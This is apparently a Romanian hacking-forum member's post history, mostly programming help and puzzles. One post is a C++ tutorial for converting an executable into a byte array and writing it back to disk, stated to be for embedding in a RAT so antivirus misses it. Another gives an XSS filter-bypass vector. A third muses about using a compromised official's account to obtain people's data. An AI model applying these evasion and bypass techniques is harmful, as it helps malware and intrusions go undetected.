Jump to content

Ganav

Active Members
  • Posts

    1374
  • Joined

  • Last visited

  • Days Won

    14

Everything posted by Ganav

  1. Foloseste, te rog, etichetele code. De exemplu: <batch_script>
  2. Ganav

    Ajutooor!

    Depinde. Daca este ofensator pentru tine, dar informatiile prezentate acolo sunt verosimile sunt slabe sanse sa obtii ceva pe cale legala. Daca insa, sunt atacuri la persoana poti apela la politie. Depui o plangere, explici situatia cat mai clar si vezi ce se intampla. Fi insistent, trimite mai multe plangeri. Sunt cam amortiti in general. Exista si abordari mai putin legale dar regulile forumului impiedica dezvoltarea si/sau punerea lor in practica.
  3. template <typename T> std::string NumberToString ( T Number ) { std::ostringstream ss; ss << Number; return ss.str(); } Codul de mai sus converteste numerele in string-uri. Urmatoarea secventa le inverseaza: #include <algorithm> std::reverse(str.begin(), str.end()); Acum poti pune string-urile intr-o matrice: std::vector<std::string> mat = {"123", "223"}; Cum poti intera prin prima litera a fiecarui string. Iei prima valoare si o retii. Pe masura ce treci prin matrice verfici care se potrivesc si memorezi indexul.
  4. M-am gandit cam care ar fi o problema cat de cat acceptabila, care sa fie legata de programare si sa aiba ca enunt o singura propozitie/fraza. Varianta de sus nu ia in calcul numerele 0 1, 0 0 si 1 0 de aceea este aproape corecta. Era o problema la un extemporal in clasa a IX-a, semestrul II, parca.
  5. Aproape bine.
  6. Incearca in continuare
  7. <?php function yahoo($id){ $url = 'http://opi.yahoo.com/online?u='; $data = file_get_contents($url . $id); if (trim(strtolower(strip_tags($data))) != 'user not specified.') { return (strlen($data) == 140) ? 'online' : 'offline'; } else { return trim(strip_tags($data)); } } echo yahoo("yahoo_userid"); ?>
  8. Realizeaza un program(C/C++ fara alte biblioteci) care citeste doua numere si il scrie pe primul ca si suma de factori din cel de al doilea: Ex: 26 5 => 26 = 5^2 + 5^0 deci se vor afisa 2, 0 19 4 => 19 = 4^2 + 4^0 + 4^0 + 4^0 se vor afisa 2, 0, 0, 0
  9. 4100
  10. Performanta = un timp cat mai scazut petrecut in etapele de incarcare a nivelelor in joc.
  11. Tu ai scris asta. Nicaieri nu am spus ca poti sau ca am impresia ca pot rula ambele sisteme simultan.
  12. Jumatate din post este valid
  13. Nu trebuie sa le rulezi simultan, si poti obtine un plus de performanta
  14. Ionel a primit un calculator ce are urmatoarele specificatii: Intel® Core™ i5-4200U Processor, Placa video MSI Radeon R7 260 OC 1GB, un HDD de 400GB, 7200RPM si 6GB RAM. Calculatorul este nou si nu are niciun sistem de operare instalat. Intrucat ar vrea sa se joace dar sa si programeze, s-a hotarat sa faca un dual boot Debian/Windows 7 cu 200GB per partitie. In ce ordine ar trebui sa instaleze Ionel sistemele de operare astfel incat sa obtina performante cat mai bune avand in vedere capacitatea oarecum limitata a memoriei RAM si de ce? P.S. Numele Ionel a fost ales intamplator si nu este o referire catre un membru al forumului sau o persoana anume.
  15. Am observat ca, mai nou, majoritatea antivirus-urilor pot detecta daca o aplicatie foloseste optiunea de embedded resource pentru a ascunde un executabil. Prin embedded resources se pot incapsula intr-un executabil mai multe fisiere de orice tip(text, media chiar si executabile). Optiunea este valabila in visual studio incepand cu versiunea din 2008. Am scris un mic program care citeste in binar un fisier .exe si il transforma intr-un sir de octeti, care sunt reprezentati printr-o variabila. Avem nevoie de viusal studio c++ express care se gaseste aici: http://www.visualstudio.com/downloads/download-visual-studio-vs Dupa instalare cream un proiect Win32 Console Application: File->New Project->Win32->Win32 Console Application Dupa ce alegem un nume dam click Ok, Next si bifam optiunea de Empty Project dupa care dam click Finish Acum cream urmatoarele fisiere: In folderul de HeaderFiles(in stanga project explorer) click dreapta Add->New Item, alegem un fisier de tip .h(antet): includes.h: #ifndef INCLUDES_H #include <iostream> #include <fstream> #include <string> #endif Fisierul de mai sus include toate fisierele antet de care avem nevoie. Repetam pasii si adaugam: ReadWrite.h #ifndef READWRITE_H #include "includes.h" #endif struct HexCharStruct { unsigned char c; HexCharStruct(unsigned char _c) : c(_c) { } }; inline std::ostream& operator<<(std::ostream& o, const HexCharStruct& hs) { return (o << std::hex << (int)hs.c); } // Functia se asigura ca ceea ce printam cu << este in hex. Comportamentul implicit este // afisarea in baza zecimala inline HexCharStruct hex(unsigned char _c) { return HexCharStruct(_c); } void readWrite(std::string src_file, std::string dst_file); Acum dam click pe SourceFiles si adaugam un fisier sursa(.cpp): ReadWrite.cpp #include "ReadWrite.h" void readWrite(std::string src_file, std::string dst_file) { char byte; std::string bytes; const size_t max_block = 16380; std::ifstream src_file_h (src_file, std::ios::in|std::ios::binary); if (src_file_h.is_open()) { // Atata timp cat avem ceva de citit din fisier, citim intr-un octet pe care il urcam in // string-ul bytes while (src_file_h.get(byte)) { bytes.push_back(byte); } std::cout << "[I] File " << src_file << " read successfully\n"; } else { std::cout << "Unable to open source file " << src_file << std::endl; std::exit(1); } std::ofstream dst_file_h (dst_file, std::ios::binary); if (dst_file_h.is_open()) { // Acum scriem sirul de octeti intr-un fisier sursa in format C dst_file_h << "char embedded[] = \""; for(size_t i = 0; i < bytes.size(); i++) // Urmatorul test este necesar intrucat visual studio nu poate procesa string-uri mai mari ca 16380 // Intrebam daca i este un multiplu al lui 16380 si este diferit de 0(altfel pune un spatiu // chiar la inceput) if(!(i % max_block) && i) dst_file_h << "\\x" << hex(bytes[i]) << "\"\n\""; else dst_file_h << "\\x" << hex(bytes[i]); dst_file_h << "\";" << std::endl; dst_file_h << "size_t numbytes = " << "0x" << bytes.size() << ";" << std::endl; } else { std::cout << "Unable to open destination file " << dst_file << std::endl; std::exit(1); } // Inchidem fisierele src_file_h.close(); dst_file_h.close(); } Repetam pasii si adaugam un nou fisier sursa(.cpp): main.cpp #include "includes.h" #include "ReadWrite.h" void usage(char **argv) { std::cout << "Usage: " << argv[0] << ": <exe_file> <dst_file>" << std::endl; exit(0); } int main(int argc, char **argv) { if(argc != 3) { usage(argv); } #ifndef NDEBUG // Teste. Rulam urmatorul exemplu doar in debug mode readWrite("testdll.dll", "bytecode.c"); #else // Pe bune. In release mode. // src_file este fisierul executabil pe care vrem sa il convertim in sir de octeti. Trebuie sa existe si sa // prezent in directorul in care se gaseste executabilul. Daca nu este trebuie adaugata intreaga cale // catre fisier. std::string src_file(argv[1]); std::string dst_file(argv[2]); readWrite(src_file, dst_file); #endif return 0; } Apasam pe F7 pentru a compila programul(Build Solution). In dst_file avem linii similare cu: char embedded[] = "\x4d\x5a\x90\x0\x3\x0\x0\x0\x4\x0\x0\x0\xff\xff\x0\x0\xb8\x0\x0\x0\x0\x0\x0\x0\x40\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0x0"; size_t numbytes = 0x7a00; In embedded se gaseste executabilul nostru. Copiem respectivele linii intr-un proiect(RAT) la ale carui surse avem acces. Ne putem folosi de urmatoarea functie pentru a scrie string-ul(variabila embedded) intr-un fisier extern: void write2Bin(std::string dst_file, char bytes[], size_t numbytes) { std::ofstream dst_file_h (dst_file, std::ios::out|std::ios::binary); if (dst_file_h.is_open()) { for(size_t i = 0; i < numbytes; i++) dst_file_h << bytes[i]; std::cout << "[I] File " << dst_file << " written successfully\n"; } else { std::cout << "Unable to open source file " << dst_file << std::endl; std::exit(1); } } Functia de mai sus este plasata de asemenea in unul din fisierele sursa ale RAT-ului. Astfel, antivirusul nu detecteaza resursa ca fiind de tip embedded.
      • 1
      • Downvote
  16. Din pacate nu. Sunt foarte putini algoritmi care ar putea fi implementati in quantum computing: Quantum algorithm - Wikipedia, the free encyclopedia Exista numeroase ASIC-uri specializate in hash cracking.
  17. Depinde, orice slujba ai avea dupa un timp se instaleaza rutina, nu se mai fac toate formal ca la carte. Adica daca ai avea un coleg de birou pe care il stii de doua zeci de ani tu ai astepta un document scris pentru orice ti-ar cere? chiar si pentru un mic favor? Totul depinde de cat de greu este de obtinut informatia respectiva, de cate persoane, institutii trebuiesc implicate. Daca tot ce trebuie colegul sa faca este sa introduca numele intr-o casuta de tip text si in cateva clipe ii apare in fata tot ce vrei sa stii, ce il impiedica sa trimita respectivele informatii, indeosebi daca persoana cautata nu are statut public semnificativ(ministru, primar in capitala).
  18. Ganditi-va totusi la posibilitati. Exista sanse destul de ridicate ca unii dintre colegii directorului SR I sa tina legatura cu acesta folosind datele de contact public(facebook, ymail). Este posibil ca cineva cu access la acest cont sa de-a ordine in numele sau. Cu alte cuvinte cam poti afla orice vrei despre oricine din Romania,(domiciliul, loc de munca, convorbiri telefonice, etc). Este posibil ca reteaua sa fie mult mai ampla si accesul sa fie chiar la nivel european. Problema este ca ar merge cu siguranta prima data, insa sunt slabe sanse de reusita a doua oara. Ar fi fost interesant sa ceara datele de logare de la serverele principale.
  19. Varianta cu ad-uri in aplicatie nu este foarte indicata. Eu incerc sa ma feresc pe cat se poate de astfel de programe. Ai putea vinde, la inceput, aplicatia pentru o suma scazuta de exemplu . 019$(foloseste preturi "magice", ultimele cifre sa fie 9 sau 99. in timp maresti pretul in functie de numarul de utilizatori. Ai putea proceda si in felul urmator: oferi aplicatia gratis timp de un an dupa care pui o taxa, scazuta la inceput.
  20. Ganav

    XSS CHALLENGE

    Nu pot face prt sc de pe backtrack. Ti-am trimis solutia prin pm. Incercand diversi vectori am gasit unul care nu apare "pe site-urile de specialitate": window[String.fromCharCode(97,108,101,114,116)](1) Cu window putem apela orice metoda dupa nume sub forma: window["nume_metoda"](1) iar cu String.fromCharCode() cream acest nume pornind de la valoarea ASCII a caracterelor din care este compus. P.S. Nu merge pentru acest challenge insa ruleaza pe localhost.
  21. Bine ca ne spune si cum sa ne ferim . tor + doar un singur site la un moment dat si acela doar cu link-uri scurte, care nu au cum sa contina shellc0de.
  22. Eu am folosit booksexpress.ro pana acum. Sunt de incredere, livreaza produsul potrivit la timpul potrivit: Books Express
  23. In esenta poti folosi github pentru orice fel de proiect software, inclusiv web development. https://github.com/
  24. Nu, nu iti poti recapata garantia, din pacate. O data root-at garantia ramane pierduta. Ai putea eventual sa iei legatura cu vanzatorul produsului si prin el sa incerci sa iei legatura cu cei de la samsung. Poate au vreo nisa in regulament care permite ceea ce vrei.
  25. Cand participam la olimpiade stiu ca foloseam infoarena pentru pregatire: Pregatire online pentru bacalaureatul la informatica Poti gasi variantele de informatica, precum si memoratoare aici: Pregatire C++ pentru Bacalaureat - Bacalaureat Informatica C++ Poti arunca o privire si peste pagina liceului teoretic Grigore Moisil: Link-uri • Liceul "Grigore Moisil" Timi?oara
×
×
  • Create New...